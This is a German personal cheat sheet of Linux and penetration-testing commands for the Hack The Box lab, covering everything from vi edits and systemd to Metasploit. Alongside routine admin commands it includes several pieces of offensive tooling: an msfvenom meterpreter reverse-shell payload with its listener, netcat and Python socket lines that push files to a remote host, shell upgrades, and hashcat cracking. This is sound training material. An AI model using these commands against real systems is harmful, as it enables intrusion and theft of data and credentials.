Linux Cheat Sheet (HTB)

WIP – Cheat Sheet für Befehle welche ich u.a. im PenTesting Lab Hack the Box immer wieder brauche

Allgemein

Dateien und Berechtigungen als Liste anzeigen (inkl. versteckter Dateien) und mit lesbarer Größe (-h)

ls -al
ls -hal

Suchen

Alle Dateien aufliste (rekursiv)

find . -type f

Nach einem Wort in Dateien suchen (rekursiv), beginnt mit „pattern“

grep -rniw '/path/to/somewhere/' -e 'pattern.*'

Nach Dateinamen suchen (rekursiv) und dabei auch Verlinkungen folgen (-follow)

find . -iname "*.mov" -follow

String suchen in Binärdateien

strings App_Data/Umbraco.sdf | grep -i 'admin'

Prozesse und Pakete

Laufende Prozesse anzeigen

ps -aux

Installierte (Packet) Version anzeigen

dpkg-query --search <pathCommand>
dpkg -s <packagename>

Schleifen

Bash Schleife um Zeilen zu lesen

for $line read; do echo $line; done < datei.txt
while read line; do echo $line; done < datei.txt 

Berechtigungen

Datei ausführbar machen

chmod +x <file>

VI

http://support.moonpoint.com/software/editors/vi/remove-lines-string.php

Suchen

/

Alles löschen bis zum vorkommen (rock you)

d/rock you

Ganze Zeile löschen

dd

Alles löschen mit dem vorkommen (dog)

:g/dog/d

alle Zeilen welche mit einem Punkt oder zwei Punkten anfangen löschen und Leerzeilen löschen

:g/^\ \.\| \.\./d
:g/^$/d

Einfügen Mode

:set paste 
:set nopaste

Rückgängig

u

Sudo

Pfade zur sudoers Dateien

/etc/sudoes
/etc/sudoers.d/

Berechtigungen (Befehle) prüfen

sudo -l

per sudo in eine Datei schreiben

echo 'deb blah ... blah' | sudo tee -a /etc/apt/sources.list

Krypto, HEX etc.

Base 64 codieren und decodieren

echo -n "hello" | base64
echo -n "hello" | base64 -d

MD5 Hash erzeugen

echo -n Welcome | md5sum

String in Hex umwandeln

echo -n "HELP" | od -A n -t x1

Zeichen zählen / Wörter zählen

echo hello | wc -w
echo hello | wc -c

Netzwerk Allgemein

Ping back prüfen

sudo tcpdump -i tun0 icmp

Lokale offene Ports anzeigen

sudo lsof -i -P -n | grep LISTEN
sudo netstat -tulpn | grep LISTEN
sudo lsof -i:
sudo nmap -sTU -O IP-address-Here

Nach gängigen offenen Ports scannen, sowie Dienst und Version herausfinden und in der Datei defaultPorts.nmap speichern.

nmap -sV -sC -oA defaultPorts.nmap 10.10.10.1

Nach allen offenen Ports scannen

nmap -p- -oA allPorts.nmap 10.10.10.1

Erst nach Ports suchen und dann gegen die offenen Ports Scripte laufen lassen

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.27

TCP Dateiübertragung

nc -lvnp 4000 > line.out
nc -w 3 [destination] 1234 < out.file

https://nakkaya.com/2009/04/15/using-netcat-for-file-transfers/

SMB Befehle

SMB Verzeichnisse auflisten mit login und anonym (-N)

smbclient -L 192.167.1.1
smbclient -N -L 192.167.1.1

Auf SMB Share Zugreifen

smbclient \\\\192.168.1.1\Share

Schreibzugriff auf SMB Verzeichnis prüfen (für anonymous login -u ‚ ‚)

smbmap -H 192.168.1.1
Smbmap -u user -H 192.168.1.1

SMB Server erstellen

sudo smbserver.py -ip 192.168.178.41 -port 4000 -debug -smb2support shareName <path>

MSSQL

MSSQL Client connect

mssqlclient.py ARCHETYPE\[email protected] -windows-auth

Shells

Upgrade zu TTY Session

python3 -c 'import pty; pty.spawn("/bin/bash")'

Mit STRG+Z in den Hintergrund setzten

stty raw -echo;fg
reset

Wenn nach dem Terminal gefragt wird

xterm-256color

Farben, Größe + reset

export TERM=xterm-256color;stty rows 54 columns 210;exec /bin/bash

Größe manuell setzten

lokal: stty size
remote: stty rows 54 columns 210

Web und HTTP

Python Webserver erstellen

python3 -m http.server 8080 --bind 10.10.14.120

Webserver Verzeichnisse mit GoBuster scannen

gobuster dir -u http://10.10.10.171 -o hb_openadmin/gobuster-root.out -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Run Burp Suite with root privs.

xhost +
sudo java -jar -Xmx4g /opt/BurpSuiteCommunity/burpsuite_community.jar

File Transfers

send file via python

sender

python3 -c 'import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.124",9002));
inputFile=open("base64.lin", "r").read();s.sendall(inputFile.encode("utf-8"));s.close();'

receiver

nc -lvnp 9002 > base64.lin 

Meter Sploit

MSFConsole starten inkl. Datenbank, falls diese noch nicht läuft

mfsdb run

Modul suchen und laden

search <name>
use <Pfad>

Listener

use exploit/multi/handler

Payload erzeugen

/usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.36 LPORT=4444 -f exe -o payload.exe

Services

Services anzeigen, starten, stoppen + status

systemctl --type=service
systemctl start [servicename]
systemctl stop [servicename]
systemctl status [servicename]

Service erstellen

vi /etc/init.d/[servicename]
chmod 755 [servicename]
systemctl daemon-reload

In Autostart aufnehmen, prüfen ob vorhanden + entfernen

update-rc.d  [service_name] defaults
ls /etc/rc*.d
update-rc.d -f [service_name] remove

Service entfernen

systemctl stop [servicename]
systemctl disable [servicename]
rm /etc/systemd/system/[servicename]
rm /etc/systemd/system/[servicename] # and symlinks that might be related
rm /usr/lib/systemd/system/[servicename] 
rm /usr/lib/systemd/system/[servicename] # and symlinks that might be related
rm /etc/init.d/[servicename]
rm /lib/systemd/system/[servicename]
rm /etc/systemd/system/multi-user.target.wants/[servicename]
systemctl reset-failed
systemctl daemon-reload

Cracking

Hascat

.\hashcat64.exe -m 500 -w 3 hash.txt .\rockyou.txt --outfile final.txt

Nach Hash suchen (Windows)

.\hashcat64.exe --example | Select-String -Patter "md5cryp" -Context 2

Schreibe einen Kommentar